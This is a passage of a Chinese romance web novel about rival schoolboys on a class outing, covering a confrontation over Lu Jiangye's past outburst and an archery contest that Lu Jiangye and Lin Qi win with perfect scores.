是不是突然疯了啊？
林柒也在低头固定帐篷，然后就感觉旁边陆江野在看他。
他抬起头，向陆江野发射了一枚问号。
陆江野垂眸看着林柒：“没什么。”
“就是觉得，你倒是挺会牺牲自我。”
林柒：“？”
能不能说能听得懂的人话？
头顶的小人牙齿打颤，裹紧小被子cos三角饭团，还要抽空朝陆江野扔来一枚问号炸弹。
砰——
炸你上天！
陆江野：“。”
：）
行，自己可能会被吓死，还要把他拉着炸死，一起死。
16.疯子
大概是因为出来玩，林柒的小人有点过于活跃了。
活跃到陆江野总是忍不住想去看，看看林柒的脑子里究竟都在想什么乱七八糟的东西。
仿佛思维的每一次跳跃，每一次一闪而过的想法，小人都能具象化展现出来。
他看见了林柒丰富多彩的内心世界。
不曾在他面前展现出来的世界。
这种窥视感，让陆江野有些停不下来。
“陆哥，走吗，我们去抓野鸡大鹅！今晚吃柴火饭铁锅炖！”
来这里的农家乐玩可以自带食材和设备，也可以在农家乐自己动手丰衣足食。
这里有圈养的鸡鸭鹅，为了提供趣味性，可以自己逮看上的食材，然后再交由农家乐的工作人员来处理，到晚上就可以大吃一顿了，更甚至如果想自己生火做饭，农家乐这边还能提供各种调料和设备等等。
实验一班的众人一合计，决定中午就吃点农家乐的饭菜，晚上他们就自己来烧火做饭，毕竟来都来了，当然要自己尝试下。
更何况实在不行，还有他们老班孔柏青。
成年人肯定是会做饭的吧。
有人去抓鸡鸭鹅，有人去准备其他要用到的食材和调料等，有人则被分配到捡柴火。
都说要做柴火饭了，那肯定连生火都要包揽了。
陆江野被曲回舟喊去抓鸡鸭鹅，林柒原本想跟着一起去的，结果有人喊了他帮忙捡柴火去。
大概是忘了林柒总要跟在陆江野身边，又或者是近段时间林柒的存在感有所提升，一旦被人注意到，就很难再忽略下去了。
陆江野看了林柒一眼，倒也没说什么。
这倒让林柒有些诧异。
不是因为他觉得陆江野能有多重视他，而是林柒偶尔能隐约察觉到，以陆江野的性格，属于他所规划范畴内的一切人或物，都会有着很强的独占性，不允许他人轻易沾染的那种，是一种排他性和警备使然，不能轻易冒犯和踏足其中。
但现在，这样的戒备，好像有些软化？
烧柴火可以捡树枝。
这片山别的可能缺，但树枝肯定是最不缺的。
甚至还有专门可以捡树枝的地方。
那地方最多。
多到让林柒怀疑，是不是专门有人捡了一车树枝扔到那地方，好供来农家乐玩的人去那边自娱自乐。
这年头，捡树枝都能成为娱乐活动了......
林柒抱着一捆树枝，逐渐和其他人分散。
一抬头，发现对面有几个眼熟的。
是城北一中那几个。
其中还有喻凡。
这也没办法。
虽然这片山头地方不小，但很多地方都是固定玩乐的区域，他们帐篷又扎得近，总不可能避开这些人。
这么想着，林柒不仅打量起这位喻小少爷。
他当然知道这位喻少爷。
喻家在淮城也是有头有脸的家族，权势和地位都不低，喻凡更是家里的幺儿，备受宠爱，于是当时陆江野和喻凡的事闹出来后，喻家才要不管不顾的想要追责，更何况，陆江野当时做的也确实......
正想着，就见那位小少爷走到了山坡边边。
小少爷捡柴，东一枝西一枝，大概见山坡下的树枝多，捡着捡着就走到了山坡边，虽然不陡，但那地方可不好站着。
林柒挑了下眉，就抱着树枝继续看。
喻凡有些心不在焉，事实上从看到陆江野起，他就有些心烦意乱，满心繁杂的情绪和脑子里复杂的思绪无从宣泄，以至于直到现在，都没能从庞杂的混乱中排解出来，尤其先前还被陆江野恐吓了一遍。
那种感觉，又让喻凡不禁想到他要和陆江野表白的那一天。
他好不容易鼓起勇气，询问了好久要以怎样的表白方式才能让陆江野接受他，就算不接受，也要先印象深刻，好打下基础。
但到最后，他最期待最紧张的那天，却成了他最恐惧的一天。
他差点就被——
“啊！”
正走着神，一个不注意，喻凡脚下骤然踩空。
他下意识紧闭起眼睛。
然而预想中的疼痛却并未传来，而是胳膊被人用力拉住的触感。
随即喻凡就被扯了回来。
“喂，你没事吧？”
睁开眼，正对上林柒那张脸。
带着一抹张扬的漂亮五官，却又有种平和压着的沉静感。
矛盾又引人。
林柒把人扶稳站好，又把掉落的树枝都塞进了喻凡怀里。
随即转身要走。
“等等——”
林柒停下动作，目光有些诧异。
大概喻凡也没想到自己会叫住林柒。
但他认出林柒是陆江野身边跟着的，应该是代替林染，是陆江野身边新调来的小跟班。
或者说是预备管家的人选？
反正不管是什么，这会儿喻凡突然就有种冲动，很想对着林柒一吐为快。
“你是林染的弟弟吧？看在林染的份上，我好心劝你一句，离陆江野远点。”
看在林染的份上......
林柒笑了下：“为什么？”
喻凡抿了抿嘴唇：“难道你不知道陆江野他——”
“我什么？”
一道声音突然穿插进来，成功止住了喻凡的声音。
喻凡脸色又有些白。
而后转过头看着陆江野走近。
此时陆江野的脸色算不上多好看。
“喻凡，适可而止。”
陆江野没有去看林柒，而是盯着喻凡，眼底神色冰冷：“我的人，不用你来说三道四，懂吗？”
喻凡的脸骤然涨得通红。
眼见陆江野要转身带林柒离开，喻凡也不知道哪里来的胆子，又或许是一直心烦意乱，脑子塞不进也想不到更多东西，无法权衡利弊，于是压抑的情绪终于在这一刻不受控制般的彻底爆发，他一个箭步上前，骤然拉拽住了林柒——
“你知不知道陆江野其实是个疯子？！”
“他就是个疯子，精神病！”
“他有病的，你知不知道？！他这个人不正常的！”
喻凡指着自己的脖子：“那段视频有流出，你不会没见过陆江野是怎么掐住我脖子的吧？他那时是真的要把我掐死！”
“这是一个正常人该有的行为吗？！有哪个正常人会突然发疯要把人给掐死——”
像是想起那一刻的恐惧，喻凡看了陆江野一眼，不由得打了个寒颤。<
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“真的，我说的都是真的，陆江野就是个彻头彻尾的疯子......”
“你跟在这种疯子身边，不会有什么好下场的。”
一时间静默。
陆江野没说话，林柒也没说话。
看过那段视频吗？
林柒当然有看过。
毕竟当时那件事闹得沸沸扬扬，一场告白差点成了一场谋杀，喻家的声讨，陆江野被发配到城南这边来。
还有林染被调走到陆云起身边，他被安排在陆江野身边......
一切都起源于那次的事故。
林柒怎么可能不知道。
“喻少爷。”
林柒终是率先开了口，然后一点点挣开喻凡的手。
“对于您的遭遇，我感到很同情。”
陆江野骤然间抿紧嘴唇，双手插在口袋里也紧紧握紧。
此时此刻，他听不到林柒的心声。
那片小天地，也成了雪花状。
他不知道林柒在想些什么。
一如他赶过来时，还在想，林柒会不会碰到喻凡。
碰到了。
那件事也揭开了。
不是没想过林柒可能不知道先前发生的事情，但想也知道概率极低。
但不说不提，也许可以顺从内心自我欺骗，营造起自己想要的假象。
但现在假象被揭开了。
先前陆江野不是没试探过。
可最起码，不该是这样的方式来揭开......
在林柒面前，他无所遁形。
是个疯子......
“其实以我的立场可能不适合说些什么，但我有些好奇，喻少爷那天是要表白吧，为什么要选密室那种地方呢？”
陆江野蓦地一顿。
喻凡则是皱起眉：“这是什么问题？我选那种地方有什么问题吗？”
“就算奇怪是奇怪了点，可陆江野总不可能是被吓到发疯吧？”
林柒耸了耸肩：“我只是觉得，当时看到流出的视频，喻小少爷应该也很害怕那种地方吧，一般害怕的地方，怎么会想到要去那里告白的？如果是我，就算想要被告白的对象印象深刻，第一选择，也不可能选在连自己都害怕的地方去告白。”
当时流出来的就是密室里的监控视频。
这种告白方式还是第一次见，所以当时被讨论的，可不仅仅是陆江野突然失控的行为，还有这位喻少爷奇葩的表白方式。
林柒还记得，那地方大概还是特意被布置起来的。
也不知道当时是怎么把陆江野拉过去的。
那一脸不耐烦，哪怕不失控，都怕是能直接把人给吓死吧。
当时林柒还在想，这位喻小少爷的脑回路可真清奇。
后面还特意出来解释自己选在那种地方，只是为了给喜欢的人一个印象深刻的表白体验。
现在来看，这不深刻都不行。
但是......在陆江野还没进去之前，那位小少爷在里面等着，可是既紧张又害怕的表情。
推己及人，林柒是肯定不会选那种地方。
所以他的确奇怪，为什么这位小少爷会选择在那种地方，以这样的方式进行表白呢？
谁给他出的主意？
17.阿野哥哥
喻家的小少爷脑回路清奇，但不算是没脑子。
那天是林染生日，所以才有机会叫得动陆江野。
林染为了他，特意把生日那天让给他表白，就连怎么和陆江野表白，喻凡问的最多的也是林染。
毕竟林染跟在陆江野身边那么久，最了解陆江野。
可最后的结果却很不尽人意。
“我最不喜欢那种地方。”
陆江野沉声道：“也不喜欢被关起来。”
“一开始，我就有和你说过，我要出去。”
喻凡噎住。
是说过。
但他以为是陆江野不想听他表白。
他想着最起码要表白完才行，加上紧张和各种情绪，根本没怎么管陆江野在说什么，只想把自己要说的话说完。
“可是你平时都不耐烦听别人讲话。”
喻凡磕磕巴巴：“我以为那种情况下你至少还能听几句，而且不是说什么吊桥效应......还有那种环境只有我一个大活人，你注意力也许就能集中到我身上，我要是害怕还可以......我怎么知道你不喜欢那样的环境！我又不知道！”
说到最后声调还高了起来。
林柒：“......”
陆江野：“......”
真是不知道说什么好。
林柒想了想：“你不知道，林染还不知道吗？”
说完还看了陆江野一眼。
陆江野扯了一下唇角，声音意味不明：“如果他不知道，那可能是林染跟在我身边这么多年，竟然还不怎么了解我。”
............
喻凡转身离开了。
林柒和陆江野还站在原地。
陆江野双手揣在口袋里不说话，林柒弯腰把地上一捆树枝给抱了起来。
刚才为了拉喻凡，树枝都掉落在地上了。
“少爷，你不是去抓鸡鸭鹅了吗？”
“喻凡说的没错。”
“少爷你现在要跟我一起捡树枝？”
“我的确有病，疯病，会伤人的那种。”
既然都说开了，那就再说破也不算什么。
林柒顿了顿，抱着树枝突然想到小时候。
他并不是一直都在陆家的。
小时候有一段时间，曾和妈妈一起离开过陆家。
认识杨娟和陈向松母子两，就是在那段时间。
但后来，他还是回到了陆家。
回到陆家之后，才发现他和母亲离开的那段时间，陆家也发生了很多事情。
新来的陆云起少爷，自杀的主母，新来的主母，还有被送去某个地方一直在治疗什么的陆江野......很多都变了。
在他决心摆脱林家和陆家的古板束缚，开始学会伪装自己的时候，陆江野才终于又出现在陆家。
但那时候，林柒已经尽量在压缩自己的存在感了。
林柒垂了垂视线，低声道：“我知道。”
“你知道......”
陆江野低念这三个字，点点头：“是，你知道。”
不可能不知道。
他的事情，在外面可能是个秘密，在陆家可不算什么秘密。
他被关在浴室，和割腕自杀的母亲待了整整两天。
后面又被送去治疗了一段时间......这种事，陆家长期生活的人都该知道。
或者有心的话，打听一下也能猜到很多。
他就是个有心理疾病的疯子。
都默认以为已经治好了，却还是被暴露在人前。
现在，更是在林柒面前无所遁形，当面解剖了个干净。
林柒会怕他吗？
就算怕，现在也无法摆脱他。
那会在心底想什么？
想着该怎么摆脱远离他？
还是——
【阿野哥哥......】
心脏仿佛被什么冲击了下。
陆江野骤然抬起视线看向林柒。
却见林柒像是才想完什么，又猛地摇了摇头，那点心音也消了下去。
喉结滑动，陆江野声音像是黏住了一样。
好半晌才晓得怎么开口。
“林柒，你......”
话还没说完，不远处突然传来嘈杂的声音。
没几秒，就有人过来这边喊他们——
“你们快来啊，班长在那边开了射箭的局，赢了可以免费领两筐柿子！一筐软的一筐硬的哦！”
柿子都是揽好的，软的软糯香甜，硬的脆爽可口，都很好吃，满足了不同人的喜好需求，也勾起了绝大多数人的新奇兴趣，主要是这还要通过比赛才能拿到——俗话说得好，有竞争的东西，粑粑都能是香的，更何况是柿子......
所以这柿子摆出来，倒真是让人跃跃欲试。
当然，最重要的是，这场比赛开局的起因——
陆江野跟曲回舟他们去逮鸡鸭鹅，一圈子的鸡啊鸭啊鹅啊，总要挑个合眼缘的。
矮的不要，吃不饱，胖的不要，脂肪多，瘦的也不要，肉太少，蔫了吧唧的不要，肉没有活力，要挑就要挑最好的。
不过介于有人中途溜号，剩下几个男生显然缺失了一部分战斗力。
以及巧的是，陆云起也在带着人逮鸡鸭鹅，他们也要挑好的出来晚上加餐上菜。
尽管陆云起没进圈亲自参与逮捕，但不知道是不是巧合，他看中的好几只都和实验一班这边的重了。
于是一场抓鸡鸭鹅的竞争比拼难以避免。
好在陆江野溜号之前，已经将那些他们挑中的鸡鸭鹅都赶到了自己人这边，所以还是让实验一班的抢占了先机。
但这就有些落了对面的面子，也不知道怎么互怼的，吵着吵着就成了要继续比拼一下......正巧农家乐这边的确提供了柿子福利，每个来农家乐的都能领一个一人份的柿子，见这边要比拼，柳柯祺就大手一挥，最后豪放贡献了两筐柿子出来。
箭是最普通的弓箭，最讲究力度和技巧。
寻常很难有人能接触到这些，现在乍一体验，别说比赛了，能射中对面的靶子都够呛。
“嗤，也不知道哪里来的胆子敢和我们比射箭。”
“只能说没有自知之明咯。”
“虽然我玩得也不好，但我最起码会玩，赢你们简直不要太轻轻松松哈。”
能和陆云起一起玩的家境都不错，平时闲的没事多多少少接触过这些娱乐活动，其中陆云起就玩得很好，就连林染都有模有样，而实验一班这边除了柳柯祺，以及曲回舟等几个男生上手快之外，其他人的确都不太擅长。
所以林柒和陆江野等人才急急忙忙被叫回来当外援。
燃烧班魂的时刻到了！
林柒路过的时候看了眼那两筐柿子，这个季节吃柿子，正正好。
他尤其爱吃揽过的硬柿子，又脆又甜。
头顶的小人都要馋得流口水了。
小腿盘着，两只小手支着膝盖，一个劲儿探头往两筐柿子那看。
吸溜溜。
但表面上就只是看了两眼，然后就挪开了目
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光，看上去就跟丝毫没有兴趣一样，迷惑性十足。
这像是下意识的行为，自然而然不想过多暴露自己。
陆江野突然想起陆家的后院也有栽种过柿子树。
还是小时候的事情。
想到这里，又看了林柒一眼，这才收回目光。
那边城北一中的已经抢先好几分，尤其是陆云起一上场，几乎好几次都正中靶心。
分数已经被拉得很开。
对面在欢呼嘲笑，他们这边气势则稍显低迷。
而且围观的人还越聚越多。
都是半大的小子，死要面子的年纪，这会儿简直要臊死了。
而且是又气又臊。
曲回舟上场的次数已经用完了，见到林柒和陆江野过来，不由得眼睛一亮，连忙朝两人招手，他们这边还有两个人的上场名额，如果再拉不回分数，那绝对是输定了，输得难看是小事，重点是赌注里还有他们刚捉的鸡鸭鹅！
“怎么把这些也算上了？”陆江野不由得皱眉。
“呃......”
曲回舟等人看天的看天，看地的看地。
这不是情绪一上头，眼见着比分拉开，为了再把比分给追回来，又不甘心多下了几个赌注嘛。
要不然上场名额怎么来的。
就是......没控制住这几张嘴......
“咳，那边能上场的名额就还有一个，我们这边可还有两个，那什么，陆哥你们能把比分给拉回来吧？”
曲回舟轻咳一声：“要不然我们还要再去重新逮......”
想想就好丢面子！
林柒很有些想不通的看向曲回舟等人：“不是我说，那些鸡鸭鹅是你们凭实力逮回来的，他们不服就不服，怎么你们被激了几句就要再比射箭？而且还被哄着又把好不容易捉回来的鸡鸭鹅也算在里面了？你们......是不是傻？？”
被说的几人：“............”
“可他们说我们有什么好得意的，不就是逮了几只鸡和鸭，大鹅也算上都没什么了不起的，成绩什么的还不是比不过他们。”
“说我们上晚自习也考不过他们，就没什么能拿得出手的。”
“还说我们也就在这上面能得意下了，实际上样样都比不过。”
曲回舟也很义愤填膺：“城北一中的那些人，就是看不起我们！这能忍？！”
这当然不能忍了！
不然他们城南十一中的面子往哪放？这要是放假回去，事情传出来，他们会很丢面子的好嘛？！
当然现在也很丢面子就是了......
毕竟当时被那么一激，就没想太多。
比赛的时候上头又上脑，也没想太多......
现在不行了，再不清醒一下，他们就真的要输了！
柳柯祺是早早上场比完，没能拉住分数，这时候也看向陆江野和林柒等人：“你们谁两个上？”
多数人一齐看向陆江野。
陆云起玩这么好的话，他们陆哥应该也不会差吧？
那另外一个人选......
陆江野看向林柒，突然开口问了句：“你乖点，等我给你摘柿子？”
——喂，别哭了，你乖点，我上树帮你摘柿子！
林柒骤然一怔，好半晌才回过神。
随即摇了摇头：“我也可以上。”
柿子树下的小孩仰起脑袋，肉嘟嘟的小脸蛋上还挂着眼泪，朝着上面张开小手——
阿野哥哥，我也想爬上去摘柿子。
18.加油
这对话有些奇怪，但也可以理解为是摘得胜利赢回柿子？
还有乖点什么的......
嗯，可能是什么指令词吧？
听到对话的人不多，多想的人更是没有。
谁也不知道，这简短的两句话里，究竟潜藏着怎样的过往回忆。
一闪而过，徒惹人怔忪。
不过另外一个人选算是定下，陆江野之后，是林柒最后上场。
对面那些人中，陆云起的成绩最好。
五发，两个10分，两个8分，一个9分，一共45分，又把两边的分数拉开许多。
每边各上场5人，每人5次机会，个人满分是50分，总分是250分。
现在那边总成绩是152，而他们这边只有99分......都没破百。
所以目前是相差了整整53分，要是想把成绩拉回来，甚至是超过对面，陆江野和林柒怎么也得多次射中靶心才行。
毕竟他们那边还有林染没上场。
而且之前热身的时候，林染试着射了几箭，也有一两次射中过靶心。
“陆哥，你能行的吧？！”
曲回舟握拳。
陆江野：“不行。”
“嘎？！”
男人怎么能说不行呢！
曲回舟用一种“陆哥你不要吓我”的谴责眼神，死死盯着陆江野，生怕陆江野不是跟他开玩笑，那他们就真的彻底玩完了。
“大哥要热一下身，找找手感吗？”
那边陆云起笑着说了一句。
陆江野视线瞥过去：“你热身了就这种手感？”
陆云起笑容一僵，还想说点什么，陆江野已经大步走了过来。
他们这些人里，有一个算一个，大概就属陆江野个头最高，身材最好，肩宽腰窄，背阔腿长，哪怕穿着外套，但在拉起弓箭的那一刻，还是能看见隆起的肌肉线条，腰部以下全是腿的感觉，轻轻松松站在那里，气定神闲的模样。
就那样，在众人还没反应过来的时候，第一箭，射中了靶心，10环。
箭射出去，实验一班这边连心理准备都还没做好。
射中靶心的时候，更是傻愣愣看着。
直到下一秒，第二箭射出，10环。
第三箭，10环。
才有人：“......我靠？！”
“我靠！！！陆哥等等，我心脏突然有些受不了！！”
“陆哥你怎么不给人反应的时间？！就这么直接射出去了啊？！！”
“啊啊啊！还有两箭，陆哥你能不能做个预备动作！！！”
好几个男生直接嘶嚎出来，嗷嗷嗷的，实际上心里狂笑尖叫。
艹，他们陆哥，逼王啊！
简直太给力了哈哈哈！
不得不说，这种轻轻轻松拿捏的姿态，实在是太打脸了，也太踏马帅了！没看对面也才反应过来，脸上表情都没来得及控制，直接开裂哈哈！
短短几秒，30分轻轻松松拿到，简直不要太爽！
剩下两箭，陆江野瞥了眼实验一班这边。
像是受不住他们的嗷呜乱叫一样，实则视线从某一处绕了一圈，几不可察的多停留了一会儿。
表面看上去比其他人淡定许多。
头顶上的小人却睁着一双亮晶晶的眼睛，肉肉的小拳头紧握，一眨不眨盯着他的方向。
陆江野视线一挪，和林柒对上目光。
随即收回，迅疾射出第四箭。
10环。
射中之后，又看了林柒一眼。
林柒下意识抿了抿唇。
第五箭，陆江野抬起又放下。
曲回舟下意识激动高喊：“陆哥，怎么了啊？！”
陆江野手握着第五只箭，在指尖转了一圈。
看向林柒：“不加个油吗？”
“嗷嗷，加油！快给我们陆哥加油！”
“陆哥牛逼！陆哥加油！”
“陆哥啊啊啊！你是我的神！！”
周围热烈的喊叫声不断，都在给陆江野加油。
林柒身处在这样的氛围中，再次和陆江野对上视线，总觉得这人在逗弄他一样，直想翻个白眼，但下一刻还是张开嘴，无声说了两个字——“加油。”
头顶的小人举起小红旗，左挥挥右挥挥。
加油，加油。
陆江野笑了下，收回视线。
屏气凝神，双手手臂再次抬起，绷紧的肌肉线条拉出流畅的弧度，第五箭射出，10环。
“卧槽50分！！”
“满分啊啊啊！”
“艹！陆哥牛逼！！”
实验一班的欢呼声几乎炸裂天际，就连过来凑热闹的杨娟和孔柏青也忍不住直拍手，笑容满面。
但对面陆云起等人就不怎么笑得出来了。
99分加上50分，一共149分，与他们的152分就差了3分。
这一下子就把分数给拉了上来。
陆江野的50分，再对比陆云起的45分，5分的差距，也足够让陆云起脸色难看起来。
更何况这50分还是满分。
5次都射中靶心，可不是谁都能做到的事情。
就连陆云起身边的人都不得不承认，他们也被陆江野这一手操作给震惊到了。
有些甚至忍不住想，难怪陆家的“太子爷”名号，只会落到陆江野头上。
也难怪在那事出来之前，陆老爷子那么看重陆江野。
这样的能力和气定神闲的姿态，可不是谁都有的。
太子爷只有一个。
可不仅仅是“陆家的长子”那么简单。
可震惊是震惊，对面此时的态度也着实气人。
“不就是拉回分数了嘛，但这也不是还差了3分？我们林染还没上场呢！”
“对啊，这不是还没追回分数？得意什么啊。”
“要真是说起来，陆江野还是从我们城北一中转学到你们城南十一中的呢。”
有人计较这个，有人则是矛头指向林柒。
“说起来，林柒还是林染的弟弟呢，不过我记得单论考试成绩的话，林柒从来没考过林染吧？”
“我们林染常年第一，你们林柒是学习好，但也没考过第一吧？那不知道比射箭的话，能不能比得过我们林染？”
“哎，林柒和陆江野可不一样，陆江野是从我们一中出去的，林柒可一直都是城南十一中的人哦。”
这简直是直面内涵城南十一中没有自己拿得出手的人。
拿得出手的都和他们沾点关系。
所以有什么好值得骄傲的？
林柒在气氛一滞的时候朝对面开口：“输就是输了，哪来那么多理由。”
“你们要这样算的话，那要不然再把我们少爷请回去？”
“少爷，你说呢？”
陆江野走回来，看也不看对面：“谁和他们一起的？”
“............”
妥妥的打脸。
实验一班几个以曲回舟为首的男生都要感动到眼泪汪汪了：“呜呜陆哥......”
陆哥想给他们一人捶一拳。
“你们搞出来的烂摊子。”
不然这破比赛根本不用比。
另一边，林染准备上场。
他看着走向实验一班的陆江野，不由得暗自深吸了口气。
随即又将目光挪向林柒——
陆江野下场，直接就走到了林柒身边。
以往那位置是他的。
最后一个上场的就是林柒，但此时林柒目光都没往他这边聚集。
好似不在意一般，让林染不由觉得可笑。
他不认为林柒能赢过自己。
就像从小到大林柒都比不过自己一样。
但这样的态度也让林染不喜。
林染没直
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接出声，而是收回视线，深吸口气，抬起手臂，目光直直盯向对面的靶子，再认真不过——
嗖一声，衡量许久的箭矢终于射出。
正中靶心，10环！
“10环！！”
“林染好样的！”
“我就知道林染你能行！”
高呼声拉回了注意。
林染注意到汇聚过来的视线，不由得笑了笑。
不知道是不是格外下定决心的缘故，林染竟然发挥得很不错，甚至比陆云起还高了1分！
两个10分，两个9分，一个8分，一共46分。
算上之前差距的3分，又将比分差距拉回到了49分。
49分！
还剩一个上场名额，满分可才50分！
谁还能做到陆江野那种地步？！
林染收回弓箭，这时候才又看向陆江野和林柒这边，最后目光定在林柒身上。
“输了就是输了，希望到时候弟弟你也不要找任何理由。”
“弟弟”两个字格外加了重音。
最后，轮到林柒上场。
林柒学过射箭吗？
学过。
陆家有各种安排的课程。
不用在学校住宿的年纪，从母亲身边回到陆家，林柒再怎么想降低自己的存在感，也是要在陆家生活的。
陆家的主宅，住着陆姓一家。
副楼部分，被分配出去，住着专为陆家服务的林家。
为了能更好的跟上少爷们的脚步，作为和两个少爷同龄的林家人，同时作为将来的预备班底，左膀右臂，陆家格外允许，在两位少爷各类学习的课程中，他们也能有机会学习，只是课程不一定同步进行，有些时候会在少爷们学习完之后再去上课。
甚至上完课之后还有评分。
像是古代的小厮。
再往高级点说，像是跟在皇子身边被评估待选的侍读。
有种生来就贴上了牛马标签的感觉。
仿佛生来就是他人的附庸。
格外的，恶心人。
至少林柒是被恶心的。
但有一点，不学白不学。
反正学了东西，说是为别人服务。
可能力也是自己的。
他又不傻。
他也不装清高。
但这个出头鸟，林柒从来没当过。
可眼下，这不仅仅是他一个人的事情。
于是林柒对上林染的视线，也笑了下：“好啊，谁输了都别叫唤。”
林染下意识骤了下眉头。
总有种不好的预感。
但不可能。
林柒不可能比得过他......
陆江野视线抬起，看向林柒头顶的小人。
此时小人脑袋上绑了一条红绳，上面写着“必胜”，一脸认真备战的姿态，摩拳擦掌，跃跃欲试，小手搓了又搓，还做了一套伸展运动，闲不下来，但一点不慌，反倒有种自信放光芒的感觉。
一直以来，林柒在他面前不是谨小慎微，就是曲意讨好，逢迎谄媚，那话说得比什么都容易，简直张嘴就来。
像是早就演练好的戏码，拿捏得当。
可不经意间，却也总是暴露马脚，至少在他面前是这样。
可能连林柒自己都没发觉到这一点。
但其他人不知道。
不知道林柒性格中的另一面。
那种蓬勃的活力，像是初升的太阳，温暖又不刺人。
有时候陆江野很想握住那一缕阳光。
可阳光总是稍纵即逝，躲了起来。
于是在某个瞬间，甚至让陆江野怀疑那是不是自己的错觉。
此时林柒已经走到场中央，手上拿起弓箭。
头顶小人的两只小拳头握在胸前，在原地踱着小碎步。
陆江野看着，突然笑了下，扬声开口——
“林柒，加油。”
19.赢了
声调懒洋洋的，但能听得清楚。
林柒一顿，不由得看向陆江野。
那话音落下，其他加油声也接二连三的响起，此起彼伏，衬得那第一道声音仿佛也再寻常不过。
林柒都分不清那道声音是否在自己心里浅浅划了一下。
然后就被铺天盖地的声音兜头浇了过来。
“............”
行了行了可以了，他都还没开始呢！
也不怕加漏油。
深吸口气，林柒回过头。
升上初中后，就能申请到学校住宿。
他几乎要感谢他父亲林荣知的偷吃，还要把苏元香那女人和甚至比他都大一岁的林染给带回家，让他不至于跟林染一样，被当做是林家下一任必须要接班的“继承人”，各种规矩都要遵守且做到位，生来就是为别人而活一样，甚至还感到沾沾自喜。
当然，也只是“几乎”。
他这辈子都忘不了林荣知将这两人带回家，甚至在得知林染比他还大一岁时，他母亲骤然崩溃和绝望的表情。
从跟着母亲离开，再到独自被送回来，林柒已经越发能看懂繁花锦簇下的古板守旧。
墨守成规，循规蹈矩，封建迂腐，顽固严苛......这些词堆积起来，都不够形容陆家豪华门面下的扭曲畸变。
什么年代了，内里还遵循老一套。
自以为高人一等。
就连“下人”都觉得自己能尽享齐人之福。
令人作呕，也十足压抑。
所以只要是能逃离的机会，林柒都不想放弃。
所幸他被“看管”得不严。
比起力争上游的林染，他显然要更显得平庸一些。
也因此，林柒也得到了些许自由。
但他还是不敢过多放松警惕。
哪怕在这自由里，也一直是建筑着围栏，将真实的自己尽可能掩盖，偶尔也只是透过栅栏缝隙触碰下外面。
在自己真正有能力之前，始终与周围划出了一道界限。
原以为会一直这样下去。
至少在自己成长之前是如此。
然而一切都在陆江野出现后逐渐松动，甚至变化。
陆江野的出现，是林柒始料未及的意外。
让他不得不暂时将栅栏开了个小口，不得不因为“小管家”的身份多次打破界限，体验以前从不会在人前去做的事情。
就如同现在一样。
顶着班里人的期盼，不仅要赢，还要赢得漂亮——
嗖！！
箭支离弦。
屏气凝神间，林柒毫不犹豫射出了一箭。
有时候，偶尔也不用太执着于隐在方寸之地。
砰。
箭尖与靶子的碰撞声短促而清晰，箭尾的羽毛还在不间断的震颤，已然有人发出了接连吸气声。
尤其是林染，脸色直接就变了。
脱口而出一句——
“怎么可能？！”
是啊，怎么可能。
第一箭，10环。
周围声音不断，林柒连理都没理，注意力根本不在这上面。
手腕再次抬起，弓上又搭了一箭。
第二箭射出。
砰。
10环。
还是10环。
一次是巧合，第二次多多少少都不能是巧合了吧？
不可能也变成了可能。
林染脸色奇差无比，死死盯着林柒。
他们兄弟两的名字相似，他要人见到听到“林柒”这两个字，就会不由自主想到他林染，见到听到“林染”这两个字，就要将林柒这个名字对比下去，他要林柒事事都不如他，别人想起来就要摇头的程度。
事实上这么多年，他一直都是骄傲且自豪的。
他的潜意识和经验都告诉他，林柒就是不如他。
可现在是怎么回事？
林柒为什么两次都射中了靶心？！！
而在林染还不可置信和震惊的时候，林柒第三箭已经再次射出。
“10环！！还是10环！！”
实验一班这边的嗷呜乱叫，简直快要疯了。
比先前陆江野上场射箭的时候还要疯。
“林柒！我靠，林哥！你怎么还深藏不露啊啊啊？！”
没什么是比不敢抱期待结果期待爆了个大的还要令人惊喜的了。
“哥哥！我为你打call！！”
“还有两箭，林柒加油啊！！”
林柒没跟陆江野似的还中途不知道怎么回事，像是脑筋搭错一样的溜了个号，他全神贯注，一鼓作气射出了第四箭——
箭矢裹挟着气流，与靶心再次正面相撞。
砰。
将前面射中的一箭再次挤出了靶心范围。
此时靶子上仍是只有一支箭矢。
但谁也不敢说林柒只拿了10分成绩。
第五箭。
林柒拿着箭支，目不斜视。
却在搭上弓箭的那一刻，仿佛也脑筋搭错一样，鬼使神差地往陆江野那边看了一眼。
目光灼灼，视线交汇之下，好像有温度般，烫得他又立即回转了视线。
摒除杂念，第五箭再次射出——
几乎很多人都下意识屏住了呼吸。
尤其是实验一班这边。
成败在此一举。
就这短短的一两秒，几乎所有人的视线都在追随那道轨迹。
都说陆江野的姿态气定神闲，实际林柒也不遑多让。
从上场到现在，就那么站在那里，漂亮的五官仿佛染了光亮，完全让人挪不开目光。
从容镇定，自信笃定。
陆江野的视线落后半拍，才终于转开。
看过去时，第五箭俨然已经挤掉了第四根箭矢，毫无疑问地扎进了靶心。
周围骤然炸响震耳欲聋的欢呼声。
仅仅1分之差，那也是赢了！！
“赢了！！我们赢了！！”
“陆哥牛逼！林柒牛逼！啊啊啊！爱死你们了！”
“实验一班牛逼，我们最棒！”
............
曲回舟率先带领着，把陆江野和林柒都抛了起来。
活像是奥运会拿到了冠军一样。
好不容易才消停下来，是时候嘲讽对手了！
“哎，这回你们该心服口服了吧？”
“哈哈哈，手下败将！”
“我们两个满分的，你们比得过吗？！”
就被以1分之差输了比赛，城北一中的又是不甘心又是脸上无光，毕竟就只差1分！但也竟然就差1分，就被对面给赢了比赛......实属是有些丢脸，而此时再被对面一嘲讽，几乎个个脸色都很是难看。
“射箭拿满分算什么，有种我们比成绩？！”
“是啊，听说你们还搞出个晚自习来，也不知道最终成果怎么样，要不然等到期末考，我们就看看哪边考得更好？”
“有种你们城南十一中也出个第一来呗。”
“真是服了，比不过就拿别的说事，再三找补，你
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们可真有意思。”
“比就比，你当我们怕你们啊？！”
“别到时候我们真考过你们，结果你们也要搞个晚自习出来学我们呢。”
............
林柒：“............”
行行行，好好好，现在这是又比起期末成绩了是吧？
视线一抬，就见林染在盯着他看。
林柒坦然对视过去。
那一瞬间，林染甚至都不确定，他看到的林柒究竟是不是他认识的那个。
为什么林柒每次都能射中靶心？
五次，五次全中。
甚至到最后，靶心上只留下了一只箭。
这样的精准度。
完全不能说是巧合和意外了。
就算好运再怎么加持，五次的叠加，也不可能是眼下这样的结果。
还是说，终于有机会跟在陆江野身边，让林柒也起了不该起的心思？他想要把自己取代下去？
可最后究竟谁是赢家还说不定呢。
不管是陆江野还是陆云起，他总比林柒了解更多。
